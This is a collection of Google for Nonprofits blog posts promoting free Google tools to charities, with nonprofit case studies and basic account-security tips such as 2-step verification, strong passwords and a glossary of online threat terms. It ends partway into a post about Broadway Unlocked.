To read more about Action Against Hunger’s story and learn how they used Google tools so effectively, visit our Google for Nonprofits Community Stories page. Stay tuned in the coming weeks for more inspirational stories about nonprofits using technology to help their cause.

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Footnote:  Statements are provided by Nonprofits that received products as part of the Google for Nonprofits program, which offers products at no charge to qualified nonprofits.



          Introducing “G4NP in Three,” a new YouTube Series        

Google for Nonprofits (G4NP) offers nonprofit organizations across 50 countries free access to Google tools like Gmail, Google Calendar, Google Ad Grants and more. Whether you’ve been using our products for years or are thinking about signing up for Google for Nonprofits, we want you to feel confident when using our products.

That’s why we’re excited to announce our brand new YouTube series, “G4NP in Three.” Every few weeks, we’ll walk you through one of the many products we offer  from enrollment process to optimization—all in roughly three minutes.

What You’ll Learn

We’ll start with the basics. We’ll cover program eligibility requirements, walk through the different signup processes, and give you tips and tricks on how to best use our products. In the first few videos, we’ll focus on some of our most popular products: Google Ad Grants, G Suite, and YouTube.

Meet Your Hosts

Bri and Jay are volunteers on our video production and G4NP YouTube strategy team. Both work in different parts of the Google organization for their core roles, but have been aligned to G4NP for over a year. They write, edit and star in videos to help educate the nonprofit community and, in addition to hosting, are the co-creators of the “G4NP in Three” series.

Jay

​A​ San Francisco native, ​Jay ventured to Ann Arbor, MI to get his degree at the University of Michigan. ​After graduating, he started at Google where he currently works as a Communications Specialist in People Operations. Aside from his passion for marketing, communications​,​ and diversity in the workplace, Jay’s claim-to-fame is singing for President Obama at the White House.

Bri

Originally from Mountain View, California, Bri attended Chapman University. There she earned a degree in Public Relations and Advertising. After graduation, Bri started a position at Google as an Associate Account Strategist supporting our advertisers. Outside of work, Bri thoroughly enjoys knitting, hiking, and venturing off on the weekends to find the best cup of coffee in the Bay Area.

The first “G4NP in Three” video is now live! Videos will be released every few weeks. Subscribe to Google for Nonprofits on YouTube to stay updated.
G4NP in Three | Ep. 1: What is Google for Nonprofits?

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.



          Improve your nonprofit’s account security with 2-step verification        

While online accounts allow nonprofits to easily communicate with partners, volunteers and donors across the world, this shared network can also leave your account vulnerable to intruders. As your nonprofit continues to grow its online presence, it’s crucial to keep confidential information (e.g., finances or donor’s information) safe. While passwords have historically been the sole guardian for online account access, research from Google has shown that many passwords and security questions can easily be guessed. That's why we strongly recommend that all nonprofits using GSuite for Nonprofits, or Google products like Gmail, use 2-Step Verification (2SV) as an additional protection on their account(s). 

Account hijacking—a process through which an online account is stolen or hijacked by a hacker—constitutes a serious threat to your nonprofit’s operations. Typically, account hijackings are carried out by phishing attempts or hackers who guess weak passwords. Because of this, it’s especially important for your nonprofit to maintain strong and unique account passwords to keep sensitive data safe.

But 2SV goes beyond just a strong password. It's an effective security feature that combines "something you know" (e.g., a password) and "something you have" (e.g., a text, a prompt, or a Security Key) to protect your accounts. Think of this like withdrawing money from an ATM/cash machine: You need both your PIN and your debit card.

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Our free Google Authenticator app is available for Android and iOS devices, which generates a code for you each time you want to sign in to your account.

Now that you know what 2SV is, head over to our Help Page to start improving your nonprofit’s online security now. (Quick tip: Remember to keep your account settings up to date and configure backup options to use if your phone is ever lost or stolen). Stay safe, nonprofits!  

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.


          Unlocking G Suite for Nonprofits: Improve internal workflow and communication        

Whether you have a team of five or 500 a seamless, collaborative workflow is critical in the digital age. Our goal is to make sure that your nonprofit is able to focus on changing the world by using technology to save time -- not waste it. In the digital age though, information sharing can often be complex; your team might not work in the same office, or even the same timezone. Some team members might be in an office with computer access, while others are in the field on mobile devices. Who from your team should be able to access confidential documents?

This brings us to a key question: How do you empower team members to work together towards a common goal, and use technology to enable it?

Great question. We’d like to introduce you to G Suite - (formerly  Google Apps for Work ). G Suite aims to help teams work together in real-time -- no matter where they are in the world.

Today, we’re spotlighting a few nonprofits to share how their teams  are using Google tools and apps to improve workflow and internal communication.

Mercy Beyond Borders - Internal Communication with Sheets & Sites

Mercy Beyond Borders (MBB) is a U.S. nonprofit that aims to forge opportunities for women and girls in extreme poverty to learn, connect, and lead. Utilizing a small office in the U.S. as home base, MBB targets rural areas in Haiti and South Sudan. In both of these areas, cultural norms and poverty prohibit full participation of women. In fact, these areas offer minimal education and opportunities for employment, which often  impedes the development of leadership skills or positions. Mercy Beyond Borders focuses its programs on providing trainings, scholarships, leadership camps, and business loans for women.

To achieve their mission, Mercy Beyond Borders faces the challenge of balancing US-based operations with field work in remote areas like South Sudan and Haiti. Their nonprofit partners range from large organizations to local schools to individuals. So how does Mercy Beyond Borders ensure that all staff, vendors, and partners stay connected and working together in sync?
MBB-trained nurse in South-Sudan village
MBB-trained nurse in South Sudan village. Photo credit: Mercy Beyond Borders

Mercy Beyond Border began using G Suite to streamline its workflow, connecting their team across the globe. Using G Suite, MBB’s team is able to access, share, and collaborate together in real-time. Take a glimpse into how they do it:

  • Track Finances: MBB manages their overseas program budget expenditures in Google Sheets. Using this tool, the domestic office tracks monthly vendor payments in Haiti. This enables the staff to wire more money as needed in order to ensure program success. Additionally, using Sheets enables the team to provide transparency in the organization, clarifying spending and creating a simple overview of total annual expenses. This standardized and collaborative approach to data enables better efficiency and communication between domestic and international offices.

  • Store images: Mercy Beyond Borders regularly takes photos in the field to keep the domestic office up to date on progress and communicate stories to their donors. The team overseas is able to upload the pictures to Google Drive, which allows them to share or retrieve the images at any time.

  • Share Information: It’s imperative that MBB shares frequent updates with the Board of Directors, highlighting current developments, areas for growth, and new opportunities. To keep the Board of Directors apprised of progress, the team created a MBB Board website with Google Sites as a way to provide updates outside of meetings. The site functions as a central hub, where the Board can find all relevant information and resources at their discretion. The website is organized in subsections including internal updates from the Executive Director, background articles on country conditions and descriptions of new partnerships. To take it one step further, MBB also added a comment section for board members to engage in open communication.

“It [G Suite] helps to better connect, engage, and keep Board members up-to-date in between meetings, or  if they are unable to make a meeting (in which case they can view the Meeting Archives page),” said Adrienne Perez.


MyFace - Increasing productivity and improving internal workflow by remote access

Established in 1951, MyFace was founded to address the medical, surgical and psychological needs of those living with facial deformities. The organization offers access to care and treatments --- regardless of the severity of the anomaly, the length of treatment, or the family’s ability to afford care. In America alone, 1 in 650 children is born with an facial cleft. Every year, MyFace helps more than 1,000 patients seek treatment. Of this population, 85% are children, 70% live in poverty, and 95% require long-term care. The costs involved in this are high and verges on insurmountable for low income families. With this in mind, MyFace ensures that all children receive highest quality interdisciplinary and comprehensive reconstructive care by doctors who provide their services pro bono.

As a small nonprofit (their staff of eight including their therapy dog, Bentley), employees are required to perform a variety of different tasks. On any given day, team members might be responsible for website design, grant proposal writing, and marketing strategy. And oftentimes, what one employee starts today is  picked up by another employee tomorrow. Because it’s often all-hands-on-deck, collaboration is particularly key for MyFace.

Our mission of changing faces and transforming lives can be fulfilled with the help of technology from G4NP Carolyn Spector Executive Director MyFace

To address their challenge, MyFace began using Google Drive to centrally store, access, and share information from anywhere at anytime. Drive helped decrease the amount of time that MyFace spends on administrative tasks, like sending documents back and forth or working with out-of-date data or information. Drive’s tools like Docs and Sheets enable the team to collaborate both in and out of office.

MyFace also deals with an overwhelming amount of data and information. The team needs this data to not only be easy to store, retrieve, and share — it needs to be secure, since it contains confidential and personal patient information. G Suite offers that as well, ensuring that all information is kept private and secure. (Want to know more about G Suite security and how safe they really are? Read more about it here).

“Our mission of changing faces and transforming lives can be fulfilled with the help of technology from G4NP because it offers invaluable resources to nonprofits of any size at no cost,” stated Carolyn Spector, Executive Director of MyFace.

MyFace Staff photo
MyFace team. Photo credit: MyFace

Having global teams of different sizes with varying access to technology can make timely communication difficult, if not impossible. While nonprofits like Mercy Beyond Borders and myFace strive to accomplish unique missions, both organizations are passionate about changing the world. And about using the right technology to help. Utilizing tools like G Suite has been key for nonprofits like these in order to improve internal workflow and communications. For Mercy and my Face, making information shared, up-to-date, and secure has been crucial for navigating the Technology Age.

Interested in learning more about the tools available to your nonprofit? Check out our website to see how G4NP can help your nonprofit with real-time, up-to-date communication and data sharing.

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To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Footnote:  Statements are provided by Nonprofits that received free products as part of the Google for Nonprofits program, which offers free products to qualified nonprofits.


          2016 Year in Review        

2016 was a year of many things - changes, challenges and opportunities. But above all else, 2016 was a year where you continued your work to change the world; to bring the world a little closer to finding common ground amongst peace, progress, and innovation.

As 2016 comes to a close, Google for Nonprofits took one final opportunity to reflect on a year past and look forward to the year ahead.  So without further ado, here are the top posts from 2016 from your friends at Google for Nonprofits.

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From LA to Tokyo: YouTube Spaces opens production studios to nonprofits free of charge

From LA to London, Tokyo to Mumbai, Berlin to São Paulo, YouTube Spaces empower nonprofits by providing them exclusive access to the best production resources around — all at no cost. All enrolled nonprofits with 1,000 or more subscribers are now eligible to apply for production access at YouTube Spaces.

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Unlocking your nonprofit's data insights: Linking Ad Grants and Google Analytics

So you’re using Ad Grants - our in-kind advertising solution for nonprofits which allows you to run text ads on Google Search - and you’re looking for more insights? Google Analytics is your go-to tool for providing insights into user behavior, which can be used to inform Google Ad Grants, as well as website optimization. By syncing data and using Ad Grants & Analytics in tandem, you can boost the quality of traffic reaching your site and increase the chance of visitors completing a meaningful action on your NGO’s page.

Benefits of Linking your Google Analytics and Adwords Accounts

Four ways to keep your nonprofit safe & secure online

“How do we keep our nonprofit (and the community we serve) safe and secure online?” In 2016, we partnered with Google’s User Advocacy Group to share four smart tips to keep your nonprofit, your users, and you safe online.

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What do you and your nonprofit want to learn in the new year? Leave a comment below, and we’ll work on learning together in 2017.

Lastly, we so appreciate all nonprofits’ unwavering dedication to changing the world. We wish all nonprofits and their communities a peaceful holiday season and a joyful new year.

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.


          A nonprofit's guide to online security: So you want to learn the lingo?        
This year marks the 25th anniversary of the World Wide Web becoming publicly available. For many of us, this is a reminder of just how much the Internet has transformed our daily lives. This rings true for nonprofits too: The Internet has revolutionized the way that nonprofits communicate, fundraise, and recruit volunteers. It has enabled nonprofits like yours to share their mission with a global audience. To raise awareness. And to change the world. 

But the power of the Internet also comes with great responsibility -- namely the need to keep information safe and secure. As a nonprofit, it can be difficult to keep up with online security, especially when terminology seems complicated. Yes, you might have heard of terms like “phishing” or “cookies,” but what do they mean?

Today, you can find the answers to your questions with our quick & easy to guide to online security terminology. In less than five minutes, you’ll be well on the way to helping keep your nonprofit safe on the Internet. 

Let’s get started! Here’s a quick guide to familiarize yourself with common lingo and learn how to distinguish terms that are friends vs foes in the online security realm. 


THE BAD GUYS: MALICIOUS ACTIONS/TERMS

  • Advanced Fee Fraud (419 scams): A technique which tricks users into sending or paying money to fraudsters on the promise of receiving greater rewards afterwards. It is most commonly associated with Nigeria, and 419 is the section of the Nigerian legal code that covers this fraud.
  • Botnet: A network of computers that are infected with malicious software without users’ knowledge, used to send viruses and spam to other computers.
  • Malware: Malicious software with the purpose of infecting devices and systems, gathering personal information, gaining access to systems or disrupting the operations of the device or systems. Essentially, any software that maliciously alters or compromises the system or device.
  • Phishing / Social Engineering Attack: An attempt by hackers who pose as trustworthy individuals or businesses in order to get your personal information such as usernames, passwords, and financial information.
  • Trojans: Malicious programs posing as or bundled with legitimate ones, which are designed to compromise your system. They are usually installed on computers from opening attachments in scam emails or by visiting infected websites. The term comes from the Trojan Horse in Greek mythology.

How to avoid social engineering attacks

THE GOOD GUYS: ONLINE SAFETY TERMS


  • [Internet] Cookie: A piece of data from a visited website and stored in the user's web browser in order to remember information that the user has entered or engaged with such as items in a shopping basket on an e-commerce site.
  • Encryption: The process of encoding data, messages, or information, such that only authorized parties can read it.
  • Firewall: A security system used to block hackers, viruses, and other malicious threats to your computer. It does this by acting as a barrier, acting on predetermined rules, which allows trusted traffic but blocks untrusted or non-secure traffic. 
  • HTTPS (Hypertext Transfer Protocol): is the protocol for secure communications over a computer network used on the Internet. It essentially provides authentication of the website and the web servers associated with it. 
  • Transport Layer Security (TLS): TLS is a protocol that encrypts and delivers mail securely, both for inbound and outbound mail traffic. It helps prevent eavesdropping between mail servers – keeping your messages private while they're moving between email providers. 
  • Two Factor Authentication / Two Step Verification: A method of using an additional process to verify your identity online. It combines both ‘something you know’ (like a password) and ‘something you have’ (like your phone or security key) — similar to withdrawing money from an ATM/cash machine, where you need both your PIN and your bank card.

That’s a wrap for now! Pass on these tips to your nonprofit partners to stay safe and secure online, so you can focus on what matters most: changing the world. 

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To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.


          3 Reasons why Chromebooks might be a good fit for your nonprofit        
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When we speak with nonprofit organizations, we often hear about the challenges related to technological resources. So when it comes to investing in new technology, it’s important to consider three primary factors:

  • Security: Does it keep my information private and secure?
  • Compatibility: Does it work with the programs I use?
  • Price: Is it within budget?
To address these questions, Google created the Chromebook, a series of laptops built with ChromeOS. The vision behind Chromebooks is simple — to create a safe, accessible, and affordable laptop. To improve user privacy and security, Chromebooks  automatically update to provide virus protection, encryption and safe browsing. For easy access and collaboration, they’re outfitted with Gmail, Google Docs, Hangouts (and nonprofits receive the full Google Apps bundle with 30GB of space per user at no charge). What’s more, they start at $169 USD & that’s for a laptop that has up to 10+ hours of battery life!
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ASUS Chromebook C201 ($169)

Case Study

Charity:water, a non-profit organization that provides clean and safe drinking water to people in developing countries, has a “100 percent model,” where every dollar donated goes directly to fund clean water projects. As a result, resources are limited. In order to cover operational costs like salaries and supplies, the organization relies on a few passionate and dedicated supporters. With this in mind, Charity:water transitioned to Chromebooks to improve the efficiency of its staff’s workflow. Now, employees can spend more time focusing on their goals and working towards their mission to nourish the world.

Want to learn more?

Chromebooks gives nonprofits unified access to the Google Apps suite, including:

  • Google Docs, Sheets, Slides: Allows you to create documents, spreadsheets, and presentations in real time. They’re automatically backed up online, and you can also open and edit Microsoft Word, Powerpoint or Excel files.
  • Google Hangouts: Google Hangouts can be used to make phone calls, screenshare, and video chat.
  • Google Drive: Store, sync, and share documents in the cloud for secure and easy access.

As a nonprofit, you also receive discounted access to Chrome licenses, which give you management controls via the Chrome Device Management. Chrome Device Management is a unified way to manage all of your nonprofits’ users, devices, and data. For nonprofits, the Chrome management license is discounted to only $30 dollars — in comparison to $150!

Chromebooks are our vision for providing cheaper, easier to use, and more secure laptops. Installed with Google Apps out of the box, nonprofits can maximize impact, while saving both time and resources.


To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

To learn more about Chromebooks for nonprofits, take a look at Google for Work’s Chromebook’s website. To take advantage of the Google Nonprofit license discount, a Google partner will reach out to you once you fill out the Contact Us form.


          Four ways to keep your nonprofit safe & secure online        
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For nonprofits, the Internet serves as a powerful vehicle for change — creating a way to access information, connect with users, and drive innovation. But navigating the web can also be a tricky task. Online safety and security has become increasingly pertinent for all digital users, including nonprofits. While it’s relevant to all though, it’s unattended by many. This raises the question: “How do we keep our nonprofit (and the community we serve) safe and secure online?”

Today, we’re partnering with Google’s User Advocacy Group to share four smart tips to keep your nonprofit, your users, and you safe online.

1. Secure your passwords

Many of us “know” that it’s smart to pick a strong password, but out of convenience we also continue to use our favorite pet’s name (e.g. “Clifford”) or other not-so-creative passwords like “password.” Although pets like Clifford are great, they don’t make great passwords. Rather, this weak protection creates vulnerable access to some of your nonprofit’s most sensitive information.

Picking strong passwords that are different for each of your accounts is extremely important -- it’s also good practice to update your passwords regularly.  Check out the following tips: 

  • Use a unique password for each of your accounts. Would you give a burglar a key that accessed your home, car, garage, and more? Using the same password for multiple accounts creates the same type of risk. Ensure you’re protecting your data by using unique passwords for each account.

  • Include numbers, letters and symbols in your password. The longer your password is, the harder it is to guess. Adding numbers, symbols and mixed-case letters makes it harder for someone to gain access to your account.

  • Create password recovery options and keep them up-to-date. If you forget your password or get locked out, you need a way to get back into your account. Many services will send this information to a recovery email address to reset your password, so be sure your recovery email address is up-to-date and accessible. You may also be able to add a phone number to your profile to receive a code to reset your password via text message. Having a mobile phone number on your account is one of the easiest and most reliable ways to help keep your account safe.

2. Take the security checkup


Google’s Security Checkup is a quick, easy way to review the following information about your account (and more)!
  • Recent activity: This is a quick overview of your recent sign-ins to Google. If you see any activity from a location or device you don’t recognize, change your password immediately.

  • Account permissions: These are the apps, websites, and devices connected to your Google account. Take a look and make sure you trust—and actually use—all of them. You might want to remove an old phone, or that dusty app you never use.

  • Check your 2-step verification:  Most people have only one layer of protection with their password. 2-step verification adds an additional layer of security to your account by requiring a phone or security key to access your account information.

3. Understand your privacy settings


If you do your personal and business work on the same computer, you will want to also check your privacy settings through Google’s Privacy Checkup. Privacy Checkup allows you to control what information like photos, videos and reviews are shared to the public or to whomever you choose.
  • Manage your sharing: You can decide what information you want to share such as videos, photos and reviews. Perhaps your nonprofit videos are only shared with your friends, when you want them to be shared with anyone. This is a simple way to check to see who can see what.

  • Personalize your google experience: One additional function of privacy checkup is to see what information you’re sharing with Google. Google uses this information to provide better search results and more relevant information to get you answers quicker and more relevant information to share to your nonprofit community.


Review important information about how Google uses data to make services better for you and your nonprofit.

4. Ensure you're switching between your personal & business accounts


We understand that as a nonprofit, you wear many hats and manage multiple business accounts in addition to personal ones. Google makes it easy toggle between accounts — visit your account settings to quickly determine which data you’re accessing, and rest easy knowing your personal and business information are separate.

  • Guest Mode or Incognito mode: Share Chrome with other people in your organization and ensure everyone has their own settings and bookmarks. You can also utilize Guest mode or Incognito mode to open a private browsing session in Chrome without leaving browser history or cookies behind once you’ve logged out.

  • Using Chrome on an unfamiliar device or machine: If you’re using an unfamiliar device or machine, ensure you’ve properly logged out of your account before heading off to your next meeting.


Online security doesn’t have to be difficult. These simple steps will give you peace of mind and protect your nonprofit’s valuable work. If you have any other online security questions or want to recommend a topic for a future blog, please add a comment below. 

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more — all at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more + enroll here.  


          Unlocking your nonprofit's data insights: Linking Ad Grants and Google Analytics        

So you’re a savvy nonprofit that has mastered Ad Grants? Read on! 

You’re a group of community leaders who know the impact of data. And who know that technology can help you leverage that.     

Like many other businesses, it’s critical for nonprofits to translate clicks on ads into a meaningful action on their nonprofit’s website. These actions could be donations, event registrations, file downloads, volunteer sign-ups or form completions — whatever it is that you’re compelling users to do.

Nonprofits like yours, however, often come to us with an important question: “How do we know if our Ad Grants account is actually resulting in these increased actions?” Great question!Our answer is simple, yet we hope it’s powerful too: Google Analytics.

Google Analytics is your go-to tool for providing insights into user behavior, which can be used to inform Ad Grants, as well as website optimization. By syncing data and using AdGrants & Analytics in tandem, you can boost the quality of traffic reaching your site and increase the chance of visitors completing a meaningful action on your NGO’s page. Best of all, Analytics can be used by nonprofits at no charge.

To get started, we strongly recommend defining your team’s marketing objectives. (If you haven’t set up goals yet, check out Smart Goals, which were designed with groups like nonprofits in mind.)

Then, link your Google Analytics account to your Google Ad Grants account to see your data. (Find out how to do so here: Link Analytics and Ad Grants). In doing so, you’ll unlock insights into your Ad Grants campaign. For instance, what happens after someone clicks on your Ad Grants ad and lands on your site? How does it differ by geographical region? Or how does user behavior differ between services offered?

Going forward, you can also track your nonprofit’s marketing goals in Google Analytics to understand how traffic from your Ad Grants campaigns is converted to meaningful action on your website. To do so, import your goals into Ad Grants as conversions.

Now, you’ll be able to see traffic quality data such as bounce rate, pages per session and average session duration for campaigns, ad groups, and keywords within Ad Grants. By adding goals as conversions, you’ll get the data you need to understand which text ads showing for keywords resonate best with your target audience.

Why, you might ask, is all this important for your nonprofit?

Take Science Buddies, a nonprofit that was one of the earliest adopters of the Google Ad Grants program, joining in 2003. Science Buddies then received 171,000 unique visits in 2004 via Ad Grants, with this number increasing by 4.5X to 773,000 unique visits in 2005. By 2006, Google Ad Grants had doubled the traffic to the website altogether. “Ad Grants really put us on the map!” said Kenneth Hess, President and Founder of Science Buddies.

The takeaway here is that the more you optimize, the better chance you have of improving your quality score — a key metric in an Ad Grants account! And more importantly, the better chance you have of authentically connecting with users who are trying to change the world along with with your nonprofit and you. 


Sign up for Google Ad Grants here.

For more information on how to get started and country availability, please visit our Ad Grants Help Center. To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more — all at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here. 


Science Buddies’ statements are made in connection with receiving in-kind donations as a participant in the Ad Grants program.


          HAPPY 13TH BIRTHDAY, Google Ad Grants        
Happy 13th birthday, Google Ad Grants! We launched Ad Grants 13 years ago to offer nonprofits a free online advertising solution to share their causes with the world. 

Over the years, we’ve learned a lot together about what it means to be a nonprofit in the digital age. And as the industry landscape has changed, we’ve aimed to ensure that AdWords consistently helps to deliver your mission online. 


We’ve celebrated the ability of groups to change the world — one day, one person, one place at a time. At the same time, we’ve also come to understand the challenges of the nonprofit sector by both listening to your stories, as well as working directly alongside you. In doing so, we recognized that nonprofits struggle to find the time or resources to manage an AdWords account. So in 2015, we launched AdWords Express for Ad Grants as a part of Google for Nonprofits.

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With nonprofits’ limited time and resources in mind, we created AdWords Express to be an automated advertising solution that serves the same effective ads on Google Search as standard AdWords. AdWords Express requires less ongoing maintenance than AdWords, while still delivering an exceptional experience for Ad Grantees. 


With AdWords Express, your nonprofit can create an online ad quickly and easily, attracting more users to your website. There’s minimal ongoing management necessary, and AdWords Express runs and automatically optimizes your ads for you. Much like AdWords though, you can still reach customers on desktop computers and mobile devices (such as smartphones and tablets), as well as review the effectiveness of your ads in your dashboard. 


Sign up for Google Ad Grants here. For more information on AdWords Express, how to get started, and country availability, please visit our Ad Grants Help Center. 


To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here. 


          From LA to Tokyo: YouTube Spaces opens production studios to nonprofits free of charge        
We know that having a physical space to do your work matters, but it’s not just about where you work — it’s about what you create there. So today, we’re announcing special access to YouTube Spaces, YouTube’s global network of production studios, for eligible nonprofits to learn, connect, and create great content for YouTube.

Given that Google was started in a garage, we’re more than familiar with the limits of physical space. As a nonprofit, it can be difficult to find access to great spaces for video production, especially when time, location, and money are constraining factors. As a result, space often becomes limiting, rather than limitless, to producing great content on YouTube.

From LA to London, Tokyo to Mumbai, Berlin to São Paulo, YouTube Spaces empower nonprofits by providing them exclusive access to the best production resources around — all at no cost. All enrolled nonprofits with 1,000 or more subscribers are now eligible to apply for production access at YouTube Spaces.

But we’re also offering more than just physical space. In addition to our state-of-the-art production facilities, YouTube Spaces brings together creatives of all stripes. YouTube Spaces offers nonprofits opportunities to learn new skills through live workshops, as well as collaborate with the YouTube community through events, panels, screenings, and more! 

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Don’t know where to begin? Once enrolled in and approved by YouTube for Nonprofits, start with theYouTube Creator Academy. From there, nonprofits can take advantage of the workshops offered by YouTube Spaces to establish a successful foundation on the platform. From lessons on building your channel to learning physical production, these workshops will help your nonprofit define its strategy and engage subscribers. Then, it’s time to get the cameras rolling! 

Get out of your garage, and get ready to create something amazing. After all, spaces are not just about where we we work -- it’s about what we create there.

Find out more about the YouTube Spaces here. 


To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Nonprofit must have signed up for the Google for Nonprofits program and be enrolled specifically in the YouTube for Nonprofits product with a YouTube channel that has at least 1,000 subscribers. Qualifying YouTube channels must be free of copyright and terms of use strikes.


          Competing for a better, more inclusive world at the 2015 Special Olympics World Games        

When athletes from around the world come together, some of them compete for the glory of winning. When the 6,500 athletes from across the globe competed at the 2015 Special Olympics World Games, they were playing for so much more — acceptance and inclusion of people with intellectual disabilities.   

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In order to bring together thousands of athletes, tens of thousands of volunteers, half a million spectators, and tens of millions of dollars in donations, the World Games Organizing Committee had a herculean task ahead of them. They needed technology that could keep up with their ambitious goals. 


Growing an audience for the World Games was paramount. With Google Ad Grants to run an AdWords campaign and Google Analytics to track behavior on their site, they were able to get their message in front of millions of people. Instead of flying around the world to train their many volunteers, they relied on Google Hangouts to efficiently and cost-effectively spread their knowledge. Twenty-five different sporting events means a lot of things to keep track of. They used Google Sheets to ensured everyone stayed on the same page and Google Sites to publicize the transportation schedule. 

As Patrick McClenahan, President & CEO of the 2015 Special Olympics World Games says, “When people are educated, inspired and engaged, hearts and minds are changed.” Carrying their message further means a more inclusive world for us all. 

Watch members of the World Games explain how they used Google tools here.


          Bella Communities: Utilizing technology & Google tools to drive "volunteer-ship"        

In 2009, Khoi Pham co-founded Bella Communities to address low-income housing issues and resident supportive services. Today, Bella Communities is harnessing the energy of thousands of community leaders, affordable housing owners, neighbors, nonprofits, resident volunteers, and professionals to offer a meaningful livelihood to their low-income housing tenants.  In addition to providing affordable housing, Bella’s signature program aims to mobilize low-income residents with an economic-opportunity modeled volunteering program. This programs enables residents to engage with other nonprofits, building civic engagement and social capital; improving career and personal skills; and earning rent credits to have financial capability and housing stability. Through this innovative “volunteer-ship” training program, they seek to help families “not just get by but also get ahead.” 

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What was the key to their success? We sat down with Khoi to hear exactly how they utilized technology and Google Apps for Nonprofits to achieve their goals.

Which role does technology play in Bella Communities?

Khoi: It’s critical! Technology allows us to communicate with our constituencies efficiently and cost-effectively which is vital for us. We want to empower our low-income residents with the tools needed to achieve economic development. With Google Apps for Nonprofits, we’ve built our own technology platform serving this objective. We have been able to switch from a desktop, web-based platform to a smart-phone mobile application, increasing engagement and participation from our residents using Google Forms. Most of them have skipped desktop to go mobile first!

Do you think technology has changed the way you work?

Khoi: Absolutely. It allowed us to operate in multiple states, virtually and real time! Communication, collection, and sharing data became seamless and effortless, which is fundamental to keeping pace.

Also Google Apps for Nonprofits has allowed us access to technology without heavy IT costs in order to preserve limited start-up resources and marshal them effectively. Google tools are all cloud-based and do not require us to build an internal IT infrastructure, which has enabled quick adaptability and flexibility to change. I have been amazed by the intuitiveness of the tools and how easily they integrate with one another!

Can you tell us more about your homemade program “Resident Volunteership United Program”?

Khoi: A study by the Corporation for National and Community Service showed that volunteers have a 27% greater chance  of finding a job after being out of work than non-volunteers? That is precisely why Bella Communities designed and tested an innovative supportive service program to simultaneously tackle both financial empowerment and civic engagement mobilization.  The Resident Volunteership United Program (ReV-UP) engages residents living in low-income communities to volunteer with other non-profit organizations in the immediate neighborhood to build community and economic development..

Google Apps was vital to the deployment of this program — we never would’ve been able to do it without that! It allowed us to manage workflow, and most importantly, it allowed us to gather, collect, and share data to build a case for supporting our program.

How are you measuring the success of this program?

Khoi: Using Google Forms and Google Drive, our low-income residents can easily manage their volunteer records online, as well as share and report their activities to the program managers. For the program pilot years, they contributed nearly 3,500 volunteer hours to their communities and generated earned approximately $21,000 in rent credits for their households.

Want to traverse the IT curve without the huge dollar investments? Find out how your nonprofit can better utilize technology with Google Apps for Nonprofits.

To see if your nonprofit is eligible to participate in the nonprofit programs, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Bella Communities’ statements are made in connection with receiving free products as a participant in Google for Nonprofits, a program which provides free Google products to qualified nonprofits.


          Broadway Unlocked shares five lessons learned from hosting a livestream benefit        
Each year, one in six people in the U.S. will be victims of violent crimes. Two years ago, we became part of the effort to change that, when we began work with Broadway Unlocked. 

